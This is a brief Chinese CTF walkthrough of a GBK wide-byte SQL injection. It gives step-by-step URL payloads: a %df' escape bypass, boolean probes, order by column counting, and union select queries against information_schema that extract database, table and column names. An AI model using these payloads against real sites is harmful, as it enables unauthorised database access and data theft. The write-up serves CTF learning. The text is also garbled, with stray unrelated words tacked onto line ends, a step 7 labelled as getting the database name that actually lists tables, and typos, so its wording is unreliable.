數據庫
題目:GBK SQL injection服務器
解析:函數
1.判斷注入點:加入單引號發現被反斜槓轉移掉了,換一個,看清題目,GBK,接下來利用寬字節進行注入spa
2.使用'%df' '進行注入,emm報錯,因而加入老手段,and 1=1 %23,ok,沒報錯,說明成功orm
3.繼續改參數,1=2時,沒有任何信息,找到注入點io
4.利用order by 查詢列數,當查詢2時,顯示正常,那麼查詢3時,顯示錯誤,肯定爲2列。table
5.既然查詢到列,使用聯合查詢,union select 1,2 %23,form
6.獲取當前數據庫:union select 1,database() %23class
7.獲取當前數據庫名: id=1%df' and 1=2 union select 1,group_concat(table_name) from information_schema.TABLES where table_schema=0x7361652d6368696e616c6f766572 %23select
group_concat(table_name) 分組之後,把想要顯示的列經過gruop_concat()函數拼接在一塊兒。
information_schema.TABLES 切說是信息數據庫。其中保存着關於MySQL服務器所維護的全部其餘數據庫的信息。如數據庫名,數據庫的表,表欄的數據類型與訪問權限等。
8.獲取表名(ctf-4)id=1%df' and 1=2 union select 1,group_concat(column_name) from information_schema.COLUMNS where table_name=0x63746634 %23